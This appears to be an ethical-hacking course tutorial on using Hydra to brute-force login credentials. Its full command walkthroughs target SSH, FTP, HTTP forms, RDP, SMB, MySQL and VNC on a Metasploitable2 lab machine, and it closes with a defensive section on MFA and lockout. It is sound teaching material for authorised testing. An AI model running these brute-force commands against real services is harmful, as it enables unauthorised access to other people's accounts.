This tutorial teaches Hydra, a network brute-force tool that tests live services for weak or default credentials across 50+ protocols including SSH, FTP, HTTP, RDP, and MySQL. The article argues that weak passwords represent the most common vulnerability in breach reports and demonstrates how Hydra proves this to organizations through practical hands-on lab exercises on Metasploitable2. It covers tool mechanics, flag usage, wordlist strategy, protocol-specific attacks, and defensive countermeasures in a structured learning format.
- Hydra performs online brute forcingHydra connects to running services and systematically tries credential combinations from wordlists by measuring authentication responses. Unlike offline tools, it requires live network access to the target and is visible in server logs, making it protocol-aware—it constructs proper authentication requests for SSH, FTP, HTTP, SMB, RDP and 50+ other services. It cannot crack password hashes offline or bypass account lockout policies.
- SSH threading requires special tuningThe article explicitly warns that SSH servers actively throttle parallel connections, making the default 16 threads dangerous. Using -t 4 for SSH prevents silent credential skips from connection failures, while other protocols safely tolerate -t 16. This protocol-specific knowledge is critical for reliable attack execution.
- Wordlist selection strategy matters more than sizeThe article recommends starting with the smallest effective wordlist rather than immediately using rockyou.txt's 14.3 million passwords. Testing default credentials first (admin:admin, root:toor) often succeeds within 10 attempts, eliminating wasteful transmission of millions of unnecessary requests. SecLists provides categorized wordlists for different use cases, including top-usernames, common-credentials, and names lists.
- HTTP form brute forcing requires manual reconnaissanceUnlike SSH or FTP, HTTP brute-forcing demands capturing the actual POST request parameters using Burp Suite or browser tools, identifying the failure string that distinguishes rejected logins, and mapping form fields with ^USER^ and ^PASS^ substitution variables. The article shows adding custom headers like session cookies using the H= syntax to maintain authenticated state during attacks.
- Hydra vs Hashcat serve different attack phasesHydra tests live services online with network latency limits and creates visible logs, while Hashcat cracks extracted hashes offline using GPU acceleration at billions of attempts per second with no network trace. The article positions Hydra as the first tool in penetration testing workflow and Hashcat as the follow-up after gaining system access.
- Multi-factor authentication eliminates Hydra effectivenessEven when Hydra successfully finds the correct password, MFA requires a second authentication factor that credential brute-forcing cannot provide. The article lists this as the single most effective credential attack mitigation available, along with SSH key-only authentication that removes the password attack surface entirely.
- Default credentials dominate real breach patternsThe article emphasizes that according to Verizon Data Breach Reports, weak or default credentials (not SQL injection, XSS, or zero-days) represent the most common vulnerability every year without exception. This frames Hydra testing as proving organizational risk with evidence of guessable services like admin:admin and root:toor.
- Rate limiting and account lockout create practical delaysAccount lockout after 5-10 failed attempts or progressive delays between attempts make Hydra-scale attacks impractical—a 14-million-password list becomes unviable when each attempt requires 30-second waits. Fail2Ban adds automatic IP bans after threshold failures, forcing attackers to rotate source IPs and adding significant friction.
Bottom line: Hydra proves organizations have weak credentials on live services through online brute-forcing across 50+ protocols, but success depends on proper tuning (SSH threading), wordlist selection (smallest first), and protocol understanding (HTTP form mapping). The strongest defenses—MFA, SSH key-only authentication, and account lockout policies—directly negate Hydra's capabilities, making remediation straightforward once credentials are discovered.
Day 180 — Advanced Kali Mastery
New to labs? → Ethical Hacking Lab Setup at Home · Metasploitable2 Labs Hub
What Is Hydra and How Does It Work?
THC-Hydra (The Hacker’s Choice Hydra) is a parallelised network logon cracker. It connects to a running service and systematically tries username and password combinations from wordlists, measuring responses to determine whether a credential pair is valid. It is protocol-aware — it knows how to speak SSH, FTP, HTTP, SMB, RDP, and 50+ other protocols, so it constructs the correct authentication request for each service.
The key distinction: Hydra performs online brute forcing — it sends live authentication requests to a running service. This means:
Every Important Hydra Flag — Explained
-t 4 for SSH — never the default 16. Higher thread counts cause connection failures that can silently skip valid credentials. For all other protocols: -t 16 is usually safe. Always read the protocol-specific notes before running.Wordlists — The Ammunition Hydra Uses
Hydra is only as good as the wordlists you give it. Kali Linux ships with several pre-installed wordlists, and the SecLists project provides hundreds more categorised by use case.
sudo gunzip /usr/share/wordlists/rockyou.txt.gz
# rockyou.txt: 14.3 million real-world leaked passwords — the standard
# ─── Install SecLists (the best wordlist collection) ─────────────
sudo apt install seclists -y
# Installs to: /usr/share/seclists/
# ─── Key wordlist locations on Kali Linux ────────────────────────
/usr/share/wordlists/rockyou.txt # 14M passwords
/usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-100.txt
/usr/share/seclists/Passwords/Common-Credentials/top-passwords-shortlist.txt
/usr/share/seclists/Usernames/top-usernames-shortlist.txt # Top usernames
/usr/share/seclists/Usernames/Names/names.txt # Common first names
# ─── Check wordlist line count ────────────────────────────────────
wc -l /usr/share/wordlists/rockyou.txt
14344391 rockyou.txt
admin:admin will be found in your first 10 attempts — no need to send 14 million requests. Check: Password Cracking Explained for wordlist strategy depth.Brute Force SSH — Full Lab Walkthrough on Metasploitable2
This is the complete hands-on Hydra workflow — from Nmap scan to confirmed credential, against your own Metasploitable2 VM. Follow every step in order. More Metasploitable2 exercises at: Metasploitable Labs Hub.
# Expected output:
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
hydra -l msfadmin -p msfadmin 192.168.56.101 ssh
[22][ssh] host: 192.168.56.101 login: msfadmin password: msfadmin
# Found immediately — Metasploitable2 uses its own hostname as password
-l msfadmin \
-P /usr/share/wordlists/rockyou.txt \
192.168.56.101 \
ssh \
-t 4 \ # 4 threads — safe for SSH
-V \ # Show every attempt
-f \ # Stop on first valid credential
-o found_ssh.txt # Save result
msfadmin@192.168.56.101’s password: msfadmin
Linux metasploitable 2.6.24-16-server #1 SMP … i686
msfadmin@metasploitable:~$ ← Authenticated!
hydra -L /usr/share/seclists/Usernames/top-usernames-shortlist.txt \
-e nsr 192.168.56.101 ssh -t 4
# Finds: root (no password), postgres:postgres, user:user
Brute Force FTP
FTP (port 21) is one of the simplest Hydra targets — it transmits credentials in cleartext and many legacy systems use default or shared FTP passwords. Metasploitable2 runs FTP with anonymous access and weak credentials.
hydra -l msfadmin -P /usr/share/wordlists/rockyou.txt 192.168.56.101 ftp -V
# ─── Try anonymous FTP login ──────────────────────────────────────
hydra -l anonymous -p anonymous 192.168.56.101 ftp
# ─── FTP on non-standard port ─────────────────────────────────────
hydra -l admin -P rockyou.txt -s 2121 192.168.56.101 ftp
# ─── Multiple users + passwords ───────────────────────────────────
hydra -L users.txt -P passwords.txt 192.168.56.101 ftp -t 8 -f
HTTP Login Form Brute Force — The Bug Bounty Skill
HTTP form brute-forcing is the Hydra skill most directly applicable to bug bounty hunting — testing whether login forms have rate limiting, account lockout protection, or CAPTCHA. It is more complex to configure than SSH or FTP because you need to map the form’s parameters before running Hydra.
Step 1 — Use Burp Suite or browser DevTools to capture the login form’s POST request:
POST /login HTTP/1.1
Host: 192.168.56.101
Content-Type: application/x-www-form-urlencoded
username=admin&password=wrongpassword&submit=Login
# Failed login response contains: “Invalid username or password”
Step 2 — Construct the Hydra http-post-form command:
# “URL:POST-params:failure-string”
hydra \
-l admin \
-P /usr/share/wordlists/rockyou.txt \
192.168.56.101 \
http-post-form \
“/login:username=^USER^&password=^PASS^:Invalid username” \
-V -t 16 -f
# ^USER^ = Hydra substitutes the username here
# ^PASS^ = Hydra substitutes the password here
# “Invalid username” = the string that appears in FAILED responses
# DVWA (Security: Low) — Brute Force module:
hydra -l admin -P rockyou.txt 192.168.56.101 http-get-form \
“/dvwa/vulnerabilities/brute:username=^USER^&password=^PASS^&Login=Login:Username and/or password incorrect.:H=Cookie: PHPSESSID=abc123; security=low”
H=Cookie: ... at the end of the form string injects a custom header — in this case, the session cookie needed to authenticate to DVWA before testing the brute force module. Find the cookie value in your Burp HTTP History after logging in to DVWA.RDP, SMB, MySQL — More Protocol Examples
hydra -l administrator -P rockyou.txt 192.168.56.101 rdp -t 4
# ─── SMB (Windows file sharing — port 445) ──────────────────────
hydra -l administrator -P rockyou.txt 192.168.56.101 smb -V
# ─── MySQL (port 3306) ──────────────────────────────────────────
hydra -l root -P rockyou.txt 192.168.56.101 mysql
# Metasploitable2: MySQL root has empty password → finds it instantly
# ─── VNC (port 5900) ─────────────────────────────────────────────
hydra -P rockyou.txt 192.168.56.101 vnc -t 1
# VNC: single thread only — VNC locks on concurrent connections
# ─── Telnet (port 23) ────────────────────────────────────────────
hydra -l admin -P rockyou.txt 192.168.56.101 telnet -V
# ─── HTTPS (SSL) ─────────────────────────────────────────────────
hydra -l admin -P rockyou.txt -S target.com https-post-form \
“/login:username=^USER^&password=^PASS^:Wrong credentials”
Hydra vs Hashcat — When to Use Which
| Aspect | Hydra | Hashcat |
|---|---|---|
| Type | Online — sends live auth requests | Offline — cracks captured hashes |
| Requires | Live running service + network access | Extracted hash file (no network needed) |
| Speed | Slow — limited by network + service rate limits | Extremely fast — GPU-accelerated, billions/sec |
| Visibility | Visible in server auth logs | No network trace — fully offline |
| Typical use | Test live services for weak/default creds | Crack hashes from /etc/shadow, DB dumps |
| In pentest order | First — test before gaining access | After — crack hashes post-access |
Full offline cracking guide: Password Cracking Explained | Day 10: How Password Attacks Work
Defence — How to Stop Brute Force Attacks
Understanding the defence is part of using Hydra professionally. When you find weak credentials in an authorised pentest, your report must include a remediation recommendation — and this is it:
📋 Hydra Command Reference Card — Screenshot This
Frequently Asked Questions – Hydra Tutorial
Hydra does not find sophisticated vulnerabilities. It finds lazy ones — the ones that are embarrassingly easy to exploit once you are standing in front of them. Default credentials on SSH are a five-second fix: change the password, or better yet, disable password authentication entirely and require key pairs. In every authorised assessment where I have found a Hydra-level finding, the remediation recommendation has been the same. The knowledge you just built by running Hydra is also the knowledge that makes you a better defender.
